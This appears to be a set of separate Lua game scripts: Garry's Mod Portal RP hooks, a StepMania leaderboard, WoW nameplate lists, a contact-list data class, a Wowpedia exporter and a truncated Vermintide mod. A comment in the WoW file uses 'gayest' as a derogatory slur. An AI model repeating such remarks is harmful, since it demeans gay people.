slot0.riseTaskFinishCount = function (slot0)
slot0.taskFinishCount = slot0.taskFinishCount + 1
end
return slot0
|
// ============================================================================================ //
/*
* Wildfire Servers - Portal RP - Base Addon
* File description: Hook serverside script file
* Copyright (C) 2022 KiwifruitDev
* Licensed under the MIT License.
*/
// ============================================================================================ //
// BASE FILE HEADER DO NOT MODIFY!! //
local ent = FindMetaTable("Entity") //
local ply = FindMetaTable("Player") //
local vec = FindMetaTable("Vector") //
// ================================ //
// Every file needs this :)
include("portalrp/portalrp_shared.lua")
// Basic hooks //
hook.Add("SystemMessage", "HookSystemMessage", function(ply, prefix, msg)
if not IsValid(ply) then return end
if not ply:IsPlayer() then return end
if prefix == "" then prefix = "Aperture" end
ply:ChatPrint("<icon 32,32>atlaschat/customemoticons/aperture.png</icon> <c=0,100,255>["..prefix.."] |</c> <c=0,126,255>"..msg.."</c>")
end)
hook.Add( "PlayerInitialSpawn", "PortalRPInit", function( ply )
timer.Simple(5, function()
ply:InitializePortalRPPlayer()
end)
end)
hook.Add("PlayerSpawn", "PortalRP_PlayerSpawn", function(ply)
local jbtbl = ply:getJobTable()
timer.Simple(1, function()
if not IsValid(ply) then return end
if not ply:Alive() then return end
ply:SetCollisionGroup( COLLISION_GROUP_WEAPON )
if jbtbl.isCore then
// Make player invisible
ply:SetColor(Color(0, 0, 0, 0))
ply:SetRenderMode(RENDERMODE_TRANSCOLOR)
ply:SetNoDraw(true)
ply:SetNotSolid(true)
ply:StripWeapons()
ply:SetMoveType(MOVETYPE_NONE)
ply:SetNoTarget(true)
// RUN CONSOLE COMMAND TO PLAYER
ply:ConCommand("simple_thirdperson_enabled 1")
else
ply:ConCommand("simple_thirdperson_enabled 0")
end
end)
if jbtbl.isCore then
local coreent = ents.Create("portalrp_core")
coreent:SetPos(ply:EyePos())
coreent:SetAngles(ply:EyeAngles())
coreent:Spawn()
coreent:Activate()
coreent:SetPlayerOwner(ply)
ply:SetNWEntity("PersonalityCore", coreent)
end
end)
hook.Add("Think", "PortalRP_Think", function()
for k, v in pairs(player.GetAll()) do
if not IsValid(v) then continue end
if not v:Alive() then continue end
local jbtbl = v:getJobTable()
if jbtbl.isCore == true then
if not v:GetNWEntity("PersonalityCore") then
v:changeTeam(1, true)
elseif not v:Alive() then
v:changeTeam(1, true)
else
local coreent = v:GetNWEntity("PersonalityCore")
if not IsValid(coreent) then
v:changeTeam(1, true)
end
coreent:SetSkin(1)
coreent:SetAnimationID(6)
v:SetPos(coreent:GetPos())
v:SetAngles(coreent:GetAngles())
end
end
end
end)
// Other hooks //
//First map initialization stuff (used for turning things off, removing things, adding core functionality, etc)
PORTALRP.AddToMapReset("PortalRP_MapInit", function()
//remove dumb map death triggers
for k,v in pairs(ents.FindByName("deathtrigger")) do
v:Remove()
end
//These lights aren't on by default
for k,v in pairs(ents.FindByName("glados_lights")) do
v:Fire("TurnOn")
end
for k,v in pairs(ents.FindByName("gladoschamber_lights")) do
v:Fire("TurnOff")
end
for k,v in pairs(ents.FindByName("glados_spotlights")) do
v:Fire("LightOn")
end
for k,v in pairs(ents.FindByName("portalrp_light")) do
v:Fire("TurnOn")
end
//create funny radios
local vec = Vector( 136.14031982422, -21.269031524658, 612.32452392578)
local ang = Angle(0, -43, 0)
local radio = ents.Create("ent_portal_radio")
radio:Spawn()
radio:Activate()
radio:SetPos(vec)
radio:SetAngles(ang)
//creating test chambers
print("Creating test chamber locations...")
for k,v in pairs(PORTALRP.TestChamberLocations) do
local chamber = ents.Create("trigger_location")
chamber:Spawn()
chamber:Activate()
chamber:SetCollisionBoundsWS(v[1], v[2])
chamber:SetLocationName(k)
chamber:SetName("TestChamber_" .. k:gsub("%s", ""))
print("Created test chamber \"" .. k .. "\" between " .. v[1].x .. ", " .. v[1].y .. ", " .. v[1].z .. " and " .. v[2].x .. ", " .. v[2].y .. ", " .. v[2].z)
end
print("Creating commutation entities...")
for k,v in pairs(PORTALRP.CommutationPositions) do
local chamber = ents.Create("trigger_commutation")
chamber:Spawn()
chamber:Activate()
chamber:SetCollisionBoundsWS(v[1], v[2])
chamber:SetDestinationPos(v[3])
chamber:SetDestinationAngles(v[4])
chamber:SetName("Commutation_" .. k:gsub("%s", ""))
print("Created commutation entity \"" .. k .. "\" between " .. v[1].x .. ", " .. v[1].y .. ", " .. v[1].z .. " and " .. v[2].x .. ", " .. v[2].y .. ", " .. v[2].z)
end
//adding glados (this will be changed and removed later)
print("Attempting to spawn GLaDos")
//escape_02 coordinates
local coords = Vector( 4360, -670, 1746 )
for k,v in pairs(ents.FindByName("temp_glados")) do
coords = v:GetPos()
v:Remove()
break
end
local glados = ents.Create("portalrp_glados")
glados:SetPos(coords)
glados:SetAngles(Angle(0, 0, 0))
glados:Spawn()
glados:Activate()
SetGlobalBool("GladosActivated", false)
end)
|
local NumEntries = 13
local RowHeight = 24
local SetEntryText = function(rank, name, score, date, actor)
if actor == nil then return end
actor:GetChild("Rank"):settext(rank)
actor:GetChild("Name"):settext(name)
actor:GetChild("Score"):settext(score)
actor:GetChild("Date"):settext(date)
end
local SetLeaderboardForPlayer = function(player_num, leaderboard, leaderboardData, isRanked)
if leaderboard == nil or leaderboardData == nil then return end
local playerStr = "player"..player_num
local entryNum = 1
local rivalNum = 1
-- Hide the rival and self highlights.
-- They will be unhidden and repositioned as needed below.
for i=1,3 do
leaderboard:GetChild("Rival"..i):visible(false)
end
leaderboard:GetChild("Self"):visible(false)
-- Hide/Unhide EX score display
leaderboard:GetChild("EX"):visible(leaderboardData["IsEX"])
if leaderboardData then
if leaderboardData["Name"] then
leaderboard:GetChild("Header"):settext(leaderboardData["Name"])
end
if leaderboardData["Data"] then
for gsEntry in ivalues(leaderboardData["Data"]) do
local entry = leaderboard:GetChild("LeaderboardEntry"..entryNum)
SetEntryText(
gsEntry["rank"]..".",
gsEntry["name"],
string.format("%.2f%%", gsEntry["score"]/100),
ParseGroovestatsDate(gsEntry["date"]),
entry
)
if gsEntry["isRival"] then
if gsEntry["isFail"] then
entry:GetChild("Rank"):diffuse(Color.Black)
entry:GetChild("Name"):diffuse(Color.Black)
entry:GetChild("Score"):diffuse(Color.Red)
entry:GetChild("Date"):diffuse(Color.Black)
else
entry:diffuse(Color.Black)
end
leaderboard:GetChild("Rival"..rivalNum):y(entry:GetY()):visible(true)
rivalNum = rivalNum + 1
elseif gsEntry["isSelf"] then
if gsEntry["isFail"] then
entry:GetChild("Rank"):diffuse(Color.Black)
entry:GetChild("Name"):diffuse(Color.Black)
entry:GetChild("Score"):diffuse(Color.Red)
entry:GetChild("Date"):diffuse(Color.Black)
else
entry:diffuse(Color.Black)
end
leaderboard:GetChild("Self"):y(entry:GetY()):visible(true)
else
entry:diffuse(Color.White)
end
-- Why does this work for normal entries but not for Rivals/Self where
-- I have to explicitly set the colors for each child??
if gsEntry["isFail"] then
entry:GetChild("Score"):diffuse(Color.Red)
end
entryNum = entryNum + 1
end
end
end
-- Empty out any remaining entries.
-- This also handles the error case. If success is false, then the above if block will not run.
-- and we will set the first entry to "Failed to Load 😞".
for i=entryNum, NumEntries do
local entry = leaderboard:GetChild("LeaderboardEntry"..i)
-- We didn't get any scores if i is still == 1.
if i == 1 then
if isRanked then
SetEntryText("", "No Scores", "", "", entry)
else
SetEntryText("", "Chart Not Ranked", "", "", entry)
end
else
-- Empty out the remaining rows.
SetEntryText("", "", "", "", entry)
end
end
end
local LeaderboardRequestProcessor = function(res, master)
if master == nil then return end
if res == nil then
for i=1, 2 do
local pn = "P"..i
local leaderboard = master:GetChild(pn.."Leaderboard")
for j=1, NumEntries do
local entry = leaderboard:GetChild("LeaderboardEntry"..j)
if j == 1 then
SetEntryText("", "Timed Out", "", "", entry)
else
-- Empty out the remaining rows.
SetEntryText("", "", "", "", entry)
end
end
end
return
end
local data = res["status"] == "success" and res["data"] or nil
for i=1, 2 do
local playerStr = "player"..i
local pn = "P"..i
local leaderboard = master:GetChild(pn.."Leaderboard")
local leaderboardList = master[pn]["Leaderboards"]
if res["status"] == "success" then
if data[playerStr] then
master[pn].isRanked = data[playerStr]["isRanked"]
-- First add the main GrooveStats leaderboard.
if data[playerStr]["gsLeaderboard"] then
leaderboardList[#leaderboardList + 1] = {
Name="GrooveStats",
Data=DeepCopy(data[playerStr]["gsLeaderboard"]),
IsEX=false
}
master[pn]["LeaderboardIndex"] = 1
end
-- Then any event leaderboards.
local events = {"rpg", "itl"}
for event in ivalues(events) do
if data[playerStr][event] and data[playerStr][event][event.."Leaderboard"] then
leaderboardList[#leaderboardList + 1] = {
Name=data[playerStr][event]["name"],
Data=DeepCopy(data[playerStr][event][event.."Leaderboard"]),
IsEX=(event == "itl")
}
master[pn]["LeaderboardIndex"] = 1
end
end
if #leaderboardList > 1 then
leaderboard:GetChild("PaneIcons"):visible(true)
else
leaderboard:GetChild("PaneIcons"):visible(false)
end
end
-- We assume that at least one leaderboard has been added.
-- If leaderboardData is nil as a result, the SetLeaderboardForPlayer
-- function will handle it.
local leaderboardData = leaderboardList[1]
SetLeaderboardForPlayer(i, leaderboard, leaderboardData, master[pn].isRanked)
elseif res["status"] == "fail" then
for j=1, NumEntries do
local entry = leaderboard:GetChild("LeaderboardEntry"..j)
if j == 1 then
SetEntryText("", "Failed to Load 😞", "", "", entry)
else
-- Empty out the remaining rows.
SetEntryText("", "", "", "", entry)
end
end
elseif res["status"] == "disabled" then
for j=1, NumEntries do
local entry = leaderboard:GetChild("LeaderboardEntry"..j)
if j == 1 then
SetEntryText("", "Leaderboard Disabled", "", "", entry)
else
-- Empty out the remaining rows.
SetEntryText("", "", "", "", entry)
end
end
end
end
end
local af = Def.ActorFrame{
Name="LeaderboardMaster",
InitCommand=function(self) self:visible(false) end,
ShowLeaderboardCommand=function(self)
self:visible(true)
for i=1, 2 do
local pn = "P"..i
self[pn] = {}
self[pn].isRanked = false
self[pn].Leaderboards = {}
self[pn].LeaderboardIndex = 0
end
MESSAGEMAN:Broadcast("ResetEntry")
-- Only make the request when this actor gets actually displayed through the sort menu.
self:queuecommand("SendLeaderboardRequest")
end,
HideLeaderboardCommand=function(self) self:visible(false) end,
LeaderboardInputEventMessageCommand=function(self, event)
local pn = ToEnumShortString(event.PlayerNumber)
if #self[pn].Leaderboards == 0 then return end
if event.type == "InputEventType_FirstPress" then
-- We don't use modulus because #Leaderboards might be zero.
if event.GameButton == "MenuLeft" then
self[pn].LeaderboardIndex = self[pn].LeaderboardIndex - 1
if self[pn].LeaderboardIndex == 0 then
-- Wrap around if we decremented from 1 to 0.
self[pn].LeaderboardIndex = #self[pn].Leaderboards
end
elseif event.GameButton == "MenuRight" then
self[pn].LeaderboardIndex = self[pn].LeaderboardIndex + 1
if self[pn].LeaderboardIndex > #self[pn].Leaderboards then
-- Wrap around if we incremented past #Leaderboards
self[pn].LeaderboardIndex = 1
end
end
if event.GameButton == "MenuLeft" or event.GameButton == "MenuRight" then
local leaderboard = self:GetChild(pn.."Leaderboard")
local leaderboardList = self[pn]["Leaderboards"]
local leaderboardData = leaderboardList[self[pn].LeaderboardIndex]
SetLeaderboardForPlayer("P1" == pn and 1 or 2, leaderboard, leaderboardData, self[pn].isRanked)
end
end
end,
Def.Quad{ InitCommand=function(self) self:FullScreen():diffuse(0,0,0,0.875) end },
LoadFont("Common Normal")..{
Text=THEME:GetString("Common", "PopupDismissText"),
InitCommand=function(self) self:xy(_screen.cx, _screen.h-50):zoom(1.1) end
},
RequestResponseActor("Leaderboard", 10, 17, 50)..{
SendLeaderboardRequestCommand=function(self)
if not IsServiceAllowed(SL.GrooveStats.Leaderboard) then return end
local sendRequest = false
local data = {
action="groovestats/player-leaderboards",
maxLeaderboardResults=NumEntries,
}
for i=1,2 do
local pn = "P"..i
if SL[pn].ApiKey ~= "" and SL[pn].Streams.Hash ~= "" then
data["player"..i] = {
chartHash=SL[pn].Streams.Hash,
apiKey=SL[pn].ApiKey
}
sendRequest = true
end
end
-- Only send the request if it's applicable.
-- Technically this should always be true since otherwise we wouldn't even get to this screen.
if sendRequest then
MESSAGEMAN:Broadcast("Leaderboard", {
data=data,
args=SCREENMAN:GetTopScreen():GetChild("Overlay"):GetChild("LeaderboardMaster"),
callback=LeaderboardRequestProcessor
})
end
end
}
}
local paneWidth1Player = 330
local paneWidth2Player = 230
local paneWidth = (GAMESTATE:GetNumSidesJoined() == 1) and paneWidth1Player or paneWidth2Player
local paneHeight = 360
local borderWidth = 2
for player in ivalues( PlayerNumber ) do
af[#af+1] = Def.ActorFrame{
Name=ToEnumShortString(player).."Leaderboard",
InitCommand=function(self)
self:y(_screen.cy - 15)
self:queuecommand("Refresh")
end,
PlayerJoinedMessageCommand=function(self)
self:queuecommand("Refresh")
end,
RefreshCommand=function(self)
self:visible(GAMESTATE:IsSideJoined(player))
if GAMESTATE:GetNumSidesJoined() == 1 then
self:xy(_screen.cx, _screen.cy - 15)
else
self:xy(_screen.cx + 160 * (player==PLAYER_1 and -1 or 1), _screen.cy - 15)
end
self:SetWidth(paneWidth)
end,
-- White border
Def.Quad {
InitCommand=function(self)
self:diffuse(Color.White)
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:zoomto(width + borderWidth, paneHeight + borderWidth)
end
},
-- Main black body
Def.Quad {
InitCommand=function(self)
self:diffuse(Color.Black)
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:zoomto(width, paneHeight)
end
},
-- Header border
Def.Quad {
InitCommand=function(self)
self:diffuse(Color.White):y(-paneHeight/2 + RowHeight/2)
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:zoomto(width + borderWidth, RowHeight + borderWidth)
end
},
-- Blue Header
Def.Quad {
InitCommand=function(self)
self:diffuse(Color.Blue):y(-paneHeight/2 + RowHeight/2)
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:zoomto(width, RowHeight)
end
},
-- Header Text
LoadFont("Wendy/_wendy small").. {
Name="Header",
Text="GrooveStats",
InitCommand=function(self)
self:zoom(0.5)
self:y(-paneHeight/2 + 12)
end
},
-- EX Text
LoadFont("Wendy/_wendy small").. {
Name="EX",
Text="EX",
InitCommand=function(self)
self:zoom(0.5)
self:y(-paneHeight/2 + 12)
self:x(paneWidth/2 - 16)
self:visible(false)
end
},
-- Highlight backgrounds for the leaderboard. Initially hidden.
Def.Quad {
Name="Rival1",
InitCommand=function(self)
self:diffuse(color("#BD94FF")):visible(false)
end,
ResetEntryMessageCommand=function(self)
self:visible(false)
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:zoomto(width, RowHeight)
end
},
Def.Quad {
Name="Rival2",
InitCommand=function(self)
self:diffuse(color("#BD94FF")):visible(false)
end,
ResetEntryMessageCommand=function(self)
self:visible(false)
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:zoomto(width, RowHeight)
end
},
Def.Quad {
Name="Rival3",
InitCommand=function(self)
self:diffuse(color("#BD94FF")):visible(false)
end,
ResetEntryMessageCommand=function(self)
self:visible(false)
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:zoomto(width, RowHeight)
end
},
Def.Quad {
Name="Self",
InitCommand=function(self)
self:diffuse(color("#A1FF94")):visible(false)
end,
ResetEntryMessageCommand=function(self)
self:visible(false)
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:zoomto(width, RowHeight)
end
},
-- Marker for the additional panes. Hidden by default.
Def.ActorFrame{
Name="PaneIcons",
InitCommand=function(self)
self:y(paneHeight/2 - RowHeight/2)
self:visible(false)
end,
ResetEntryMessageCommand=function(self)
self:visible(false)
end,
LoadFont("Common Normal").. {
Name="LeftIcon",
Text="&MENULEFT;",
InitCommand=function(self)
self:x(-paneWidth/2 + 10)
end,
OnCommand=function(self) self:queuecommand("Bounce") end,
BounceCommand=function(self)
self:decelerate(0.5):addx(10):accelerate(0.5):addx(-10)
self:queuecommand("Bounce")
end,
},
LoadFont("Common Normal").. {
Name="Text",
Text="More Leaderboards",
InitCommand=function(self)
self:diffuse(Color.White)
end,
},
LoadFont("Common Normal").. {
Name="RightIcon",
Text="&MENURiGHT;",
InitCommand=function(self)
self:x(paneWidth/2 - 10)
end,
OnCommand=function(self) self:queuecommand("Bounce") end,
BounceCommand=function(self)
self:decelerate(0.5):addx(-10):accelerate(0.5):addx(10)
self:queuecommand("Bounce")
end,
},
}
}
local af2 = af[#af]
for i=1, NumEntries do
--- Each entry has a Rank, Name, and Score subactor.
af2[#af2+1] = Def.ActorFrame{
Name="LeaderboardEntry"..i,
InitCommand=function(self)
if NumEntries % 2 == 1 then
self:y(RowHeight*(i - (NumEntries+1)/2) )
else
self:y(RowHeight*(i - NumEntries/2))
end
end,
RefreshCommand=function(self)
local width = self:GetParent():GetWidth()
self:x(-(width-paneWidth2Player)/2)
self:GetChild("Date"):visible(GAMESTATE:GetNumSidesJoined() == 1)
end,
LoadFont("Common Normal").. {
Name="Rank",
Text="",
InitCommand=function(self)
self:horizalign(right)
self:maxwidth(30)
self:x(-paneWidth2Player/2 + 30 + borderWidth)
self:diffuse(Color.White)
end,
ResetEntryMessageCommand=function(self)
self:settext("")
self:diffuse(Color.White)
end
},
LoadFont("Common Normal").. {
Name="Name",
Text=(i==1 and "Loading" or ""),
InitCommand=function(self)
self:horizalign(center)
self:maxwidth(130)
self:x(-paneWidth2Player/2 + 100)
self:diffuse(Color.White)
end,
ResetEntryMessageCommand=function(self)
self:settext(i==1 and "Loading" or "")
self:diffuse(Color.White)
end
},
LoadFont("Common Normal").. {
Name="Score",
Text="",
InitCommand=function(self)
self:horizalign(right)
self:x(paneWidth2Player/2-borderWidth)
self:diffuse(Color.White)
end,
ResetEntryMessageCommand=function(self)
self:settext("")
self:diffuse(Color.White)
end
},
LoadFont("Common Normal").. {
Name="Date",
Text="",
InitCommand=function(self)
self:horizalign(right)
self:x(paneWidth2Player/2 + 100 - borderWidth)
self:diffuse(Color.White)
end,
ResetEntryMessageCommand=function(self)
self:settext("")
self:diffuse(Color.White)
end
},
}
end
end
return af
|
local K, C, L, _ = select(2, ...):unpack()
if C["Nameplate"].enable ~= true then return end
local GetSpellInfo = GetSpellInfo
----------------------------------------------------------------------------------------
-- The best way to add or delete spell is to go at http://wotlk.openwow.com search for a spell.
-- Example: Necrotic Plague> http://wotlk.openwow.com/spell=73787
-- Take the number ID at the end of the URL, and add it to the list
----------------------------------------------------------------------------------------
local function SpellName(id)
local name, _, _, _, _, _, _, _, _ = GetSpellInfo(id)
if(not name) then
print(" SpellID is not valid: "..id..". Please check for an updated version, if none exists report this to Kkthnx.")
return "Impale"
else
return name
end
end
K.DebuffWhiteList = {
-- Death Knight
[SpellName(49203)] = true,
[SpellName(47476)] = true,
-- Druid
[SpellName(33786)] = true,
[SpellName(2637)] = true,
[SpellName(339)] = true,
[SpellName(8921)] = true,
[SpellName(5570)] = true,
[SpellName(58180)] = true,
[SpellName(33878)] = true,
[SpellName(33745)] = true,
[SpellName(1822)] = true,
[SpellName(1079)] = true,
-- Hunter
[SpellName(3355)] = true,
[SpellName(1513)] = true,
[SpellName(19503)] = true,
[SpellName(34490)] = true,
-- Mage
[SpellName(31661)] = true,
[SpellName(61305)] = true,
[SpellName(18469)] = true,
[SpellName(122)] = true,
[SpellName(55080)] = true,
-- Paladin
[SpellName(20066)] = true,
[SpellName(10326)] = true,
[SpellName(853)] = true,
-- Priest
[SpellName(605)] = true,
[SpellName(64044)] = true,
[SpellName(8122)] = true,
[SpellName(9484)] = true,
[SpellName(15487)] = true,
-- Rogue
[SpellName(2094)] = true,
[SpellName(1776)] = true,
[SpellName(6770)] = true,
[SpellName(18425)] = true,
-- Shaman
[SpellName(51514)] = true,
[SpellName(3600)] = true,
[SpellName(8056)] = true,
[SpellName(8050)] = true,
[SpellName(63685)] = true,
[SpellName(39796)] = true,
-- Warlock
[SpellName(710)] = true,
[SpellName(6789)] = true,
[SpellName(5782)] = true,
[SpellName(5484)] = true,
[SpellName(6358)] = true,
[SpellName(30283)] = true,
[SpellName(603)] = true,
[SpellName(980)] = true,
[SpellName(172)] = true,
[SpellName(17800)] = true,
[SpellName(48181)] = true,
[SpellName(30108)] = true,
[SpellName(348)] = true,
-- Warrior
[SpellName(20511)] = true,
-- Racial
[SpellName(25046)] = true,
[SpellName(20549)] = true,
}
K.PlateBlacklist = {
["Dragonmaw War Banner"] = true,
["Healing Tide Totem"] = true,
--Gundrak
["Fanged Pit Viper"] = true,
["Crafty Snake"] = true,
--Shaman Totems
["Earth Elemental Totem"] = true,
["Fire Elemental Totem"] = true,
["Fire Resistance Totem"] = true,
["Flametongue Totem"] = true,
["Frost Resistance Totem"] = true,
["Healing Stream Totem"] = true,
["Magma Totem"] = true,
["Mana Spring Totem"] = true,
["Nature Resistance Totem"] = true,
["Searing Totem"] = true,
["Stoneclaw Totem"] = true,
["Stoneskin Totem"] = true,
["Strength of Earth Totem"] = true,
["Windfury Totem"] = true,
["Totem of Wrath"] = true,
["Wrath of Air Totem"] = true,
--The gayest ability in the game
["Army of the Dead Ghoul"] = true,
--Hunter Trap
["Venomous Snake"] = true,
["Viper"] = true,
}
|
require("gameData/gameData")
local CommunityKnowListData = class(GameData);
CommunityKnowListData.Delegate = {
onGetKnowListCallBack = "onGetKnowListCallBack";
onGetMaybeFamiliarCallBack = "onGetMaybeFamiliarCallBack";
}
CommunityKnowListData.ctor = function(self)
ImSdkHelper.getInstance():setObserver(self);
self:__init();
end
CommunityKnowListData.__init = function (self)
self.m_listInviteData = {};
self.m_listAddFiendData = {};
self.m_knowListData = {};
end
CommunityKnowListData.dtor = function(self)
ImSdkHelper.getInstance():clearObserver(self);
end
CommunityKnowListData.getKnowList = function(self, isForceUpdate)
local ret = ImSdkConstants.eReturnType.TYPE_OK;
if isForceUpdate then
local data = ImSdkHelper.getInstance():imGetContractsInfo();
if not string.isEmpty(data) then
ret = ImSdkHelper.getInstance():imSdkGetKnowList(data, kUserInfoData:getUserCid());
else
ret = ImSdkConstants.eReturnType.TYPE_ERROR;
end
end
local bRet = ret == ImSdkConstants.eReturnType.TYPE_OK and true or false;
return bRet, Copy(self.m_knowListData);
end
CommunityKnowListData.getKnowInviteBtnStatus = function (self,phone_number)
local invite = false;
for k,v in pairs(self.m_listInviteData) do
if phone_number == v.phone_number then
invite = v.invite;
break;
end
end
return invite;
end
CommunityKnowListData.setKnowInviteBtnStatus = function (self,data)
if table.isEmpty(data) then
return;
end
table.insert(self.m_listInviteData,data);
for k, v in pairs( table.verify(self.m_knowListData)) do
if data.phone_number == v.phone_number then
self.m_knowListData[k].invite = data.invite;
break;
end
end
end
CommunityKnowListData.getKnowAddFriendBtnStatus = function (self,cid)
Log.v("m_listAddFiendData",self.m_listAddFiendData)
local addFriend = false;
for k,v in pairs(self.m_listAddFiendData) do
if cid == v.cid then
addFriend = v.addFriend;
break;
end
end
return addFriend;
end
CommunityKnowListData.setKnowAddFriendBtnStatus = function (self,data)
if table.isEmpty(data) then
return;
end
table.insert(self.m_listAddFiendData,data);
for k, v in pairs( table.verify(self.m_knowListData)) do
if data.cid == v.cid then
self.m_knowListData[k].addFriend = data.addFriend;
break;
end
end
end
CommunityKnowListData.refreshKnowAddFriendBtnStatus = function (self,cid)
if not cid then
return;
end
for k,v in pairs(table.verify(self.m_listAddFiendData)) do
if v.cid == cid then
self.m_listAddFiendData[k].addFriend = false;
self.m_listAddFiendData[k].is_friend = 0;
end
end
for k,v in pairs(table.verify(self.m_knowListData)) do
if v.cid == cid then
self.m_knowListData[k].addFriend = false;
self.m_knowListData[k].is_friend = 0;
end
end
end
--联系人 分页发送 每页15个
CommunityKnowListData.onIMMatchContactFriendCallBack = function(self,isSuccess, strInfo)
if isSuccess then
local data = table.verify( json.decode(strInfo) );
if data.page == 1 then --如果当前第一也 就清空
self.m_knowListData = {};
end
for k, v in pairs( table.verify(data.contact_list) ) do
v.phone_number = string.gsub(tostring(v.phone_number), " ",""); --手机号
v.phone_number = string.gsub(tostring(v.phone_number), "-",""); --手机号
v.name = tostring(v.name) --名字
v.regist_status = tonumber(v.regist_status)--注册状态
v.cid = tonumber(v.cid) or 0; --cid
v.mid = tonumber(v.mid) or 0; --mid
v.regionid = tonumber(v.regionid) or 0; -- 地区id
v.nickname = tostring(v.nickname) or ""; --昵称
v.sex = tostring(v.sex) or "0"; --性别
v.avatar_url = tostring(v.avatar_url) or "";
v.gold = tonumber(v.gold) or 0; --银币
v.diamond = tonumber(v.diamond) or 0; --钻石
v.distance = tonumber(v.distance) or 0;-- 离我多远
v.client_version = tonumber(v.client_version) or 0; --sdk版本号
v.is_friend = tonumber(v.is_friend)or 0; -- 是否是好友
v.level = tonumber(v.level) or 0; --根据类型排名
v.master_points = tonumber(v.master_points) or 0; --大师分
v.experience = tonumber(v.experience) or 0; --经验
v.is_online = tonumber(v.is_online); --当前在线状态 1 为在线 0为不在线
if v.regist_status == 0 then
v.invite = self:getKnowInviteBtnStatus(v.phone_number);
end
if v.is_friend == 0 then
v.addFriend = self:getKnowAddFriendBtnStatus(v.cid);
end
table.insert(self.m_knowListData,v);
end
self:execDelegate(CommunityKnowListData.Delegate.onGetKnowListCallBack, true, self.m_knowListData,data.page);
else
self:execDelegate(CommunityKnowListData.Delegate.onGetKnowListCallBack, false);
end
end
CommunityKnowListData.onIMGetMaybeFamiliarCallBack = function(self,isSuccess, strInfo)
if isSuccess then
local data = json.decode(strInfo);
local mayBeFamiliarData = {};
for k,v in pairs(table.verify(data)) do
v.cid = tonumber(v.cid) or 0; --cid
v.mid = tonumber(v.mid) or 0; --mid
v.regionid = tonumber(v.regionid) or 0; -- 地区id
v.nickname = tostring(v.nickname) or ""; --昵称
v.sex = tostring(v.sex) or "0"; --性别
v.avatar_url = tostring(v.avatar_url) or "";
v.gold = tonumber(v.gold) or 0; --银币
v.diamond = tonumber(v.diamond) or 0; --钻石
v.distance = tonumber(v.distance) or 0;-- 离我多远
v.client_version = tonumber(v.client_version) or 0; --sdk版本号
v.is_friend = tonumber(v.is_friend)or o; -- 是否是好友
v.level = tonumber(v.level) or 0; --根据类型排名
v.master_points = tonumber(v.master_points) or 0; --大师分
v.experience = tonumber(v.experience) or 0; --经验
v.is_online = tonumber(v.is_online); --当前在线状态 1 为在线 0为不在线
v.common_friend_num = tonumber(v.common_friend_num);--共同好友数
table.insert(mayBeFamiliarData,v);
end
if table.isEmpty( mayBeFamiliarData[1] ) then
self:execDelegate(CommunityKnowListData.Delegate.onGetMaybeFamiliarCallBack, false);
else
self:execDelegate(CommunityKnowListData.Delegate.onGetMaybeFamiliarCallBack, true, mayBeFamiliarData[1]);
end
else
self:execDelegate(CommunityKnowListData.Delegate.onGetMaybeFamiliarCallBack, false);
end
end
return CommunityKnowListData;
|
-- https://wowpedia.fandom.com/wiki/API_GetGameMessageInfo
local eb = KethoEditBox
function KethoWowpedia:GameError()
local enums = {}
for k, v in pairs(_G) do
if k:find("^LE_GAME_ERR") then
tinsert(enums, {k, v})
end
end
sort(enums, function(a, b)
return a[2] < b[2]
end)
eb:Show()
eb:InsertLine('{| class="sortable darktable zebra"\n! ID !! skit !! voice !! stringId !! GlobalString')
local fs = '|-\n| align="center" | %d |||| %s |||| %s |||| %s |||| %s'
for _, tbl in pairs(enums) do
local k, v = unpack(tbl)
local stringId, soundKitID, voiceID = GetGameMessageInfo(v)
-- no changes between matching stringPart from LuaEnums or GetGameMessageInfo()
-- local stringPart = strmatch(k, "LE_GAME_ERR_(.+)")
local stringPart = strmatch(stringId, "ERR_(.+)")
-- Spew("", k, v, _G[v], _G["ERR_"..msg], stringId, soundKitID, voiceID)
eb:InsertLine(fs:format(v, soundKitID or "", voiceID or "", stringId, _G["ERR_"..stringPart] or ""))
end
eb:InsertLine('|}')
end
|
local mod = get_mod("RerollImprovements") -- luacheck: ignore get_mod
-- luacheck: globals CraftPageRollProperties Managers UIUtils Managers UIWidgets
-- luacheck: globals UIWidget Colors UISettings WeaponTraits CraftPageRollTrait
-- luacheck: globals Localize
UISettings.crafting_progress_time = 0.01
mod.last_backend_id = nil
mod.property_text_style = {
font_size = 24,
upper_case = false,
localize = false,
use_shadow = true,
word_wrap = false,
horizontal_alignment = "center",
vertical_alignment = "center",
font_type = "hell_shark",
text_color = Colors.get_color_table_with_alpha("white", 200),
offset = {
0,
0,
-35
}
}
mod:hook_safe(CraftPageRollProperties, "_add_craft_item", function(self, backend_id)
mod:pcall(function()
if self._craft_items[1] and self._widgets_by_name["mod_properties_1"] then
local properties = Managers.backend:get_interface("items"):get_properties(self._craft_items[1])
self._widgets_by_name["mod_properties_1"].content.text = ""
self._widgets_by_name["mod_properties_2"].content.text = ""
local index = 1
for prop_name, prop_value in pairs( properties ) do
self._widgets_by_name["mod_properties_"..index].content.text = UIUtils.get_property_description(prop_name, prop_value)
index = index + 1
end
end
mod.last_backend_id = backend_id
end)
end)
mod:hook_safe(CraftPageRollProperties, "_remove_craft_item", function(self)
if not self._craft_items[1] and self._widgets_by_name["mod_properties_1"] then
self._widgets_by_name["mod_properties_1"].content.text = ""
self._widgets_by_name["mod_properties_2"].content.text = ""
mod.last_backend_id = nil
end
end)
mod:hook_safe(CraftPageRollProperties, "on_craft_completed", function(self)
local item_interface = Managers.backend:get_interface("items")
if item_interface:get_item_from_id(mod.last_backend_id) then
self:_add_craft_item(mod.last_backend_id)
end
end)
mod:hook_safe(CraftPageRollProperties, "create_ui_elements", function(self)
local widgets = self._widgets
local widgets_by_name = self._widgets_by_name
for i = 1, 2 do
local text_definition = UIWidgets.create_simple_text("", "recipe_grid", nil, nil, mod.property_text_style)
local widget = UIWidget.init(text_definition)
widgets[#widgets + 1] = widget
widgets_by_name["mod_properties_"..i] = widget
widget.offset[1] = 0
widget.offset[2] = 87+(i-1)*(-26)
